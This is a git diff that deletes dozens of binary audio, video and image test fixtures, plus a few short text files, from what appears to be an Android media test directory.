diff --git a/tests/tests/media/res/raw/cp1251_3_a_ms_acm_mp3.mkv b/tests/tests/media/res/raw/cp1251_3_a_ms_acm_mp3.mkv
deleted file mode 100644
index c06a542..0000000
--- a/tests/tests/media/res/raw/cp1251_3_a_ms_acm_mp3.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_4.mp3 b/tests/tests/media/res/raw/cp1251_4.mp3
deleted file mode 100644
index 3df1d32..0000000
--- a/tests/tests/media/res/raw/cp1251_4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_5.mp3 b/tests/tests/media/res/raw/cp1251_5.mp3
deleted file mode 100644
index 46df442..0000000
--- a/tests/tests/media/res/raw/cp1251_5.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_6.mp3 b/tests/tests/media/res/raw/cp1251_6.mp3
deleted file mode 100644
index 545834d..0000000
--- a/tests/tests/media/res/raw/cp1251_6.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_7.mp3 b/tests/tests/media/res/raw/cp1251_7.mp3
deleted file mode 100644
index d1c492b..0000000
--- a/tests/tests/media/res/raw/cp1251_7.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_8.mp3 b/tests/tests/media/res/raw/cp1251_8.mp3
deleted file mode 100644
index 17f7e31..0000000
--- a/tests/tests/media/res/raw/cp1251_8.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_v1.mp3 b/tests/tests/media/res/raw/cp1251_v1.mp3
deleted file mode 100644
index 173d970..0000000
--- a/tests/tests/media/res/raw/cp1251_v1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/cp1251_v1v2.mp3 b/tests/tests/media/res/raw/cp1251_v1v2.mp3
deleted file mode 100644
index abffa92..0000000
--- a/tests/tests/media/res/raw/cp1251_v1v2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/football_qvga_desc.txt b/tests/tests/media/res/raw/football_qvga_desc.txt
deleted file mode 100644
index f6b44b2..0000000
--- a/tests/tests/media/res/raw/football_qvga_desc.txt
+++ /dev/null
@@ -1,2 +0,0 @@
-Football_qvga.yuv contains 3 seconds of raw 320x240 yuv420 video @ 30 fps.
-Extracted from http://media.xiph.org/video/derf/y4m/football_cif.y4m.
\ No newline at end of file
diff --git a/tests/tests/media/res/raw/gb18030_1.mp3 b/tests/tests/media/res/raw/gb18030_1.mp3
deleted file mode 100644
index dc63de5..0000000
--- a/tests/tests/media/res/raw/gb18030_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_2.mp3 b/tests/tests/media/res/raw/gb18030_2.mp3
deleted file mode 100644
index 6109c97..0000000
--- a/tests/tests/media/res/raw/gb18030_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_3.mp3 b/tests/tests/media/res/raw/gb18030_3.mp3
deleted file mode 100644
index 4fcb22f..0000000
--- a/tests/tests/media/res/raw/gb18030_3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_4.mp3 b/tests/tests/media/res/raw/gb18030_4.mp3
deleted file mode 100644
index fedffd7..0000000
--- a/tests/tests/media/res/raw/gb18030_4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_6.mp3 b/tests/tests/media/res/raw/gb18030_6.mp3
deleted file mode 100644
index b4817b2..0000000
--- a/tests/tests/media/res/raw/gb18030_6.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_7.mp3 b/tests/tests/media/res/raw/gb18030_7.mp3
deleted file mode 100644
index 7932596..0000000
--- a/tests/tests/media/res/raw/gb18030_7.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_8.mp3 b/tests/tests/media/res/raw/gb18030_8.mp3
deleted file mode 100644
index f5f54de..0000000
--- a/tests/tests/media/res/raw/gb18030_8.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
deleted file mode 100644
index af2c7ac..0000000
--- a/tests/tests/media/res/raw/gb18030_utf8_mixed_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
deleted file mode 100644
index d1c88fe..0000000
--- a/tests/tests/media/res/raw/gb18030_utf8_mixed_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
deleted file mode 100644
index ddae12f..0000000
--- a/tests/tests/media/res/raw/gb18030_utf8_mixed_3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/heap_oob_flac.mp3 b/tests/tests/media/res/raw/heap_oob_flac.mp3
deleted file mode 100644
index ae542d0..0000000
--- a/tests/tests/media/res/raw/heap_oob_flac.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/hebrew.mp3 b/tests/tests/media/res/raw/hebrew.mp3
deleted file mode 100644
index 59d76d8..0000000
--- a/tests/tests/media/res/raw/hebrew.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/hebrew2.mp3 b/tests/tests/media/res/raw/hebrew2.mp3
deleted file mode 100644
index d48cad2..0000000
--- a/tests/tests/media/res/raw/hebrew2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test0.mp3 b/tests/tests/media/res/raw/id3test0.mp3
deleted file mode 100644
index 5730b6b..0000000
--- a/tests/tests/media/res/raw/id3test0.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test1.mp3 b/tests/tests/media/res/raw/id3test1.mp3
deleted file mode 100644
index af52e0f..0000000
--- a/tests/tests/media/res/raw/id3test1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test10.mp3 b/tests/tests/media/res/raw/id3test10.mp3
deleted file mode 100644
index ac01a00..0000000
--- a/tests/tests/media/res/raw/id3test10.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test11.mp3 b/tests/tests/media/res/raw/id3test11.mp3
deleted file mode 100644
index 5786b80..0000000
--- a/tests/tests/media/res/raw/id3test11.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test2.mp3 b/tests/tests/media/res/raw/id3test2.mp3
deleted file mode 100644
index 7fdb737..0000000
--- a/tests/tests/media/res/raw/id3test2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test3.mp3 b/tests/tests/media/res/raw/id3test3.mp3
deleted file mode 100644
index a9ce936..0000000
--- a/tests/tests/media/res/raw/id3test3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test4.mp3 b/tests/tests/media/res/raw/id3test4.mp3
deleted file mode 100644
index f2d2df9..0000000
--- a/tests/tests/media/res/raw/id3test4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test5.mp3 b/tests/tests/media/res/raw/id3test5.mp3
deleted file mode 100644
index 4ee1200..0000000
--- a/tests/tests/media/res/raw/id3test5.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test6.mp3 b/tests/tests/media/res/raw/id3test6.mp3
deleted file mode 100644
index 017e0c0..0000000
--- a/tests/tests/media/res/raw/id3test6.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test7.mp3 b/tests/tests/media/res/raw/id3test7.mp3
deleted file mode 100644
index d106a46..0000000
--- a/tests/tests/media/res/raw/id3test7.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test8.mp3 b/tests/tests/media/res/raw/id3test8.mp3
deleted file mode 100644
index ab83c86..0000000
--- a/tests/tests/media/res/raw/id3test8.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/id3test9.mp3 b/tests/tests/media/res/raw/id3test9.mp3
deleted file mode 100644
index 84d2c49..0000000
--- a/tests/tests/media/res/raw/id3test9.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_1.ogg b/tests/tests/media/res/raw/iso88591_1.ogg
deleted file mode 100644
index c20bf34..0000000
--- a/tests/tests/media/res/raw/iso88591_1.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_10.mp3 b/tests/tests/media/res/raw/iso88591_10.mp3
deleted file mode 100644
index 4d43200..0000000
--- a/tests/tests/media/res/raw/iso88591_10.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_11.mp3 b/tests/tests/media/res/raw/iso88591_11.mp3
deleted file mode 100644
index 3760238..0000000
--- a/tests/tests/media/res/raw/iso88591_11.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_12.mp3 b/tests/tests/media/res/raw/iso88591_12.mp3
deleted file mode 100644
index 1ffcc0c9..0000000
--- a/tests/tests/media/res/raw/iso88591_12.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_13.mp3 b/tests/tests/media/res/raw/iso88591_13.mp3
deleted file mode 100644
index 91987c1..0000000
--- a/tests/tests/media/res/raw/iso88591_13.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_2.mp3 b/tests/tests/media/res/raw/iso88591_2.mp3
deleted file mode 100644
index bcfdaad..0000000
--- a/tests/tests/media/res/raw/iso88591_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_3.mp3 b/tests/tests/media/res/raw/iso88591_3.mp3
deleted file mode 100644
index 2b6a03f..0000000
--- a/tests/tests/media/res/raw/iso88591_3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_4.mp3 b/tests/tests/media/res/raw/iso88591_4.mp3
deleted file mode 100644
index 0623fff..0000000
--- a/tests/tests/media/res/raw/iso88591_4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_5.mp3 b/tests/tests/media/res/raw/iso88591_5.mp3
deleted file mode 100644
index 8051af5..0000000
--- a/tests/tests/media/res/raw/iso88591_5.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_6.mp3 b/tests/tests/media/res/raw/iso88591_6.mp3
deleted file mode 100644
index 4dc2b49..0000000
--- a/tests/tests/media/res/raw/iso88591_6.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_7.mp3 b/tests/tests/media/res/raw/iso88591_7.mp3
deleted file mode 100644
index 72f5c5b..0000000
--- a/tests/tests/media/res/raw/iso88591_7.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_8.mp3 b/tests/tests/media/res/raw/iso88591_8.mp3
deleted file mode 100644
index f841d59..0000000
--- a/tests/tests/media/res/raw/iso88591_8.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
deleted file mode 100644
index 78bad13..0000000
--- a/tests/tests/media/res/raw/iso88591_utf8_mixed_1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
deleted file mode 100644
index c7d8429..0000000
--- a/tests/tests/media/res/raw/iso88591_utf8_mixed_2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3 b/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
deleted file mode 100644
index c8d4afa..0000000
--- a/tests/tests/media/res/raw/iso88591_utf8_mixed_3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/jpeg_with_datetime_tag.jpg b/tests/tests/media/res/raw/jpeg_with_datetime_tag.jpg
deleted file mode 100644
index f50e845..0000000
--- a/tests/tests/media/res/raw/jpeg_with_datetime_tag.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftaac.aac b/tests/tests/media/res/raw/loudsoftaac.aac
deleted file mode 100644
index 1534ef2..0000000
--- a/tests/tests/media/res/raw/loudsoftaac.aac
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftfaac.m4a b/tests/tests/media/res/raw/loudsoftfaac.m4a
deleted file mode 100644
index b4895b5..0000000
--- a/tests/tests/media/res/raw/loudsoftfaac.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftitunes.m4a b/tests/tests/media/res/raw/loudsoftitunes.m4a
deleted file mode 100644
index b01b36b..0000000
--- a/tests/tests/media/res/raw/loudsoftitunes.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftmp3.mp3 b/tests/tests/media/res/raw/loudsoftmp3.mp3
deleted file mode 100644
index b32c8bd..0000000
--- a/tests/tests/media/res/raw/loudsoftmp3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftogg.ogg b/tests/tests/media/res/raw/loudsoftogg.ogg
deleted file mode 100644
index dc122d9..0000000
--- a/tests/tests/media/res/raw/loudsoftogg.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftoggmkv.mkv b/tests/tests/media/res/raw/loudsoftoggmkv.mkv
deleted file mode 100644
index d4d62dc..0000000
--- a/tests/tests/media/res/raw/loudsoftoggmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/loudsoftoggmp4.mp4 b/tests/tests/media/res/raw/loudsoftoggmp4.mp4
deleted file mode 100644
index 8e1154e..0000000
--- a/tests/tests/media/res/raw/loudsoftoggmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/midi8sec.mid b/tests/tests/media/res/raw/midi8sec.mid
deleted file mode 100644
index 746aca1..0000000
--- a/tests/tests/media/res/raw/midi8sec.mid
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/mkv_avc_adpcm_ima.mkv b/tests/tests/media/res/raw/mkv_avc_adpcm_ima.mkv
deleted file mode 100755
index 1cba11a..0000000
--- a/tests/tests/media/res/raw/mkv_avc_adpcm_ima.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/mkv_avc_adpcm_ms.mkv b/tests/tests/media/res/raw/mkv_avc_adpcm_ms.mkv
deleted file mode 100755
index 33d272c..0000000
--- a/tests/tests/media/res/raw/mkv_avc_adpcm_ms.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monodcneg.mp3 b/tests/tests/media/res/raw/monodcneg.mp3
deleted file mode 100644
index 7d262de..0000000
--- a/tests/tests/media/res/raw/monodcneg.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monodcpos.mp3 b/tests/tests/media/res/raw/monodcpos.mp3
deleted file mode 100644
index 81a7943..0000000
--- a/tests/tests/media/res/raw/monodcpos.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/mononoisedcpos.m4a b/tests/tests/media/res/raw/mononoisedcpos.m4a
deleted file mode 100644
index d0ae090..0000000
--- a/tests/tests/media/res/raw/mononoisedcpos.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestgsm.wav b/tests/tests/media/res/raw/monotestgsm.wav
deleted file mode 100644
index 6062f36..0000000
--- a/tests/tests/media/res/raw/monotestgsm.wav
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestm4a.m4a b/tests/tests/media/res/raw/monotestm4a.m4a
deleted file mode 100644
index 9ef6651..0000000
--- a/tests/tests/media/res/raw/monotestm4a.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestmp3.mp3 b/tests/tests/media/res/raw/monotestmp3.mp3
deleted file mode 100644
index 43a8ac3..0000000
--- a/tests/tests/media/res/raw/monotestmp3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestogg.ogg b/tests/tests/media/res/raw/monotestogg.ogg
deleted file mode 100644
index 3dc5644..0000000
--- a/tests/tests/media/res/raw/monotestogg.ogg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestoggmkv.mkv b/tests/tests/media/res/raw/monotestoggmkv.mkv
deleted file mode 100644
index 7d0fada..0000000
--- a/tests/tests/media/res/raw/monotestoggmkv.mkv
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/monotestoggmp4.mp4 b/tests/tests/media/res/raw/monotestoggmp4.mp4
deleted file mode 100644
index eca0440..0000000
--- a/tests/tests/media/res/raw/monotestoggmp4.mp4
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/okgoogle123_good.wav b/tests/tests/media/res/raw/okgoogle123_good.wav
deleted file mode 100644
index ffd5a7f8..0000000
--- a/tests/tests/media/res/raw/okgoogle123_good.wav
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_0.jpg b/tests/tests/media/res/raw/orientation_0.jpg
deleted file mode 100644
index 9b4d44a..0000000
--- a/tests/tests/media/res/raw/orientation_0.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_180.jpg b/tests/tests/media/res/raw/orientation_180.jpg
deleted file mode 100644
index 005fee2..0000000
--- a/tests/tests/media/res/raw/orientation_180.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_270.jpg b/tests/tests/media/res/raw/orientation_270.jpg
deleted file mode 100644
index b2c269f8..0000000
--- a/tests/tests/media/res/raw/orientation_270.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_90.jpg b/tests/tests/media/res/raw/orientation_90.jpg
deleted file mode 100644
index aefca34..0000000
--- a/tests/tests/media/res/raw/orientation_90.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_stripped_0.jpg b/tests/tests/media/res/raw/orientation_stripped_0.jpg
deleted file mode 100644
index 4656475..0000000
--- a/tests/tests/media/res/raw/orientation_stripped_0.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_stripped_180.jpg b/tests/tests/media/res/raw/orientation_stripped_180.jpg
deleted file mode 100644
index eb77283..0000000
--- a/tests/tests/media/res/raw/orientation_stripped_180.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_stripped_270.jpg b/tests/tests/media/res/raw/orientation_stripped_270.jpg
deleted file mode 100644
index 606520d..0000000
--- a/tests/tests/media/res/raw/orientation_stripped_270.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/orientation_stripped_90.jpg b/tests/tests/media/res/raw/orientation_stripped_90.jpg
deleted file mode 100644
index 43cc074..0000000
--- a/tests/tests/media/res/raw/orientation_stripped_90.jpg
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/playlist1.pls b/tests/tests/media/res/raw/playlist1.pls
deleted file mode 100644
index 27ad178f92..0000000
--- a/tests/tests/media/res/raw/playlist1.pls
+++ /dev/null
@@ -1,3 +0,0 @@
-[playlist]
-File1=testmp3.mp3
-File2=testmp3_2.mp3
diff --git a/tests/tests/media/res/raw/playlist2.m3u b/tests/tests/media/res/raw/playlist2.m3u
deleted file mode 100644
index b307703..0000000
--- a/tests/tests/media/res/raw/playlist2.m3u
+++ /dev/null
@@ -1,7 +0,0 @@
-# comments should be ignored
-
-# first track
-testmp3_2.mp3
-
-# second track
-testmp3.mp3
diff --git a/tests/tests/media/res/raw/shiftjis1.mp3 b/tests/tests/media/res/raw/shiftjis1.mp3
deleted file mode 100644
index 1c50c76..0000000
--- a/tests/tests/media/res/raw/shiftjis1.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis2.mp3 b/tests/tests/media/res/raw/shiftjis2.mp3
deleted file mode 100644
index 808c597..0000000
--- a/tests/tests/media/res/raw/shiftjis2.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis3.mp3 b/tests/tests/media/res/raw/shiftjis3.mp3
deleted file mode 100644
index 820631b..0000000
--- a/tests/tests/media/res/raw/shiftjis3.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis4.mp3 b/tests/tests/media/res/raw/shiftjis4.mp3
deleted file mode 100644
index 3fbc25e..0000000
--- a/tests/tests/media/res/raw/shiftjis4.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis5.mp3 b/tests/tests/media/res/raw/shiftjis5.mp3
deleted file mode 100644
index 90520f8..0000000
--- a/tests/tests/media/res/raw/shiftjis5.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis6.mp3 b/tests/tests/media/res/raw/shiftjis6.mp3
deleted file mode 100644
index 5310936..0000000
--- a/tests/tests/media/res/raw/shiftjis6.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis7.mp3 b/tests/tests/media/res/raw/shiftjis7.mp3
deleted file mode 100644
index 6143126..0000000
--- a/tests/tests/media/res/raw/shiftjis7.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/shiftjis8.mp3 b/tests/tests/media/res/raw/shiftjis8.mp3
deleted file mode 100644
index c45c130..0000000
--- a/tests/tests/media/res/raw/shiftjis8.mp3
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_11khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_11khz_aot2_mp4.m4a
deleted file mode 100755
index 019dbae..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_11khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_12khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_12khz_aot2_mp4.m4a
deleted file mode 100755
index 0aae458..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_12khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot2_mp4.m4a
deleted file mode 100755
index b8e767b..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 86ff942..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_16khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot2_mp4.m4a
deleted file mode 100755
index ce240bb..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index b07b036..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_22khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot2_mp4.m4a
deleted file mode 100755
index 7245bbb..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 252366b..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_24khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot2_mp4.m4a
deleted file mode 100755
index e4216da..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index a0c6a46..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_32khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot2_mp4.m4a
deleted file mode 100755
index d44a956..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 4b3a860..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_44khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot2_mp4.m4a
deleted file mode 100755
index 438b066..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index b6a2e69..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_48khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep1_1ch_8khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep1_1ch_8khz_aot2_mp4.m4a
deleted file mode 100755
index 4b690e2..0000000
--- a/tests/tests/media/res/raw/sinesweep1_1ch_8khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep51m4a.m4a b/tests/tests/media/res/raw/sinesweep51m4a.m4a
deleted file mode 100644
index 1e35934..0000000
--- a/tests/tests/media/res/raw/sinesweep51m4a.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_11khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_11khz_aot2_mp4.m4a
deleted file mode 100755
index bd83ec8..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_11khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_12khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_12khz_aot2_mp4.m4a
deleted file mode 100755
index 054d6d8..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_12khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot2_mp4.m4a
deleted file mode 100755
index 321a3b5..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot39_fl512_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot39_fl512_mp4.m4a
deleted file mode 100755
index f04f29f..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_16khz_aot39_fl512_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot2_mp4.m4a
deleted file mode 100755
index 432b379..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot39_fl480_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot39_fl480_mp4.m4a
deleted file mode 100755
index 0a300f8..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_22khz_aot39_fl480_mp4.m4a
+++ /dev/null
Binary files differ
diff --git a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot2_mp4.m4a b/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot2_mp4.m4a
deleted file mode 100755
index c859c9a..0000000
--- a/tests/tests/media/res/raw/sinesweep_2ch_24khz_aot2_mp4.m4a
+++ /dev/null
Binary files differ
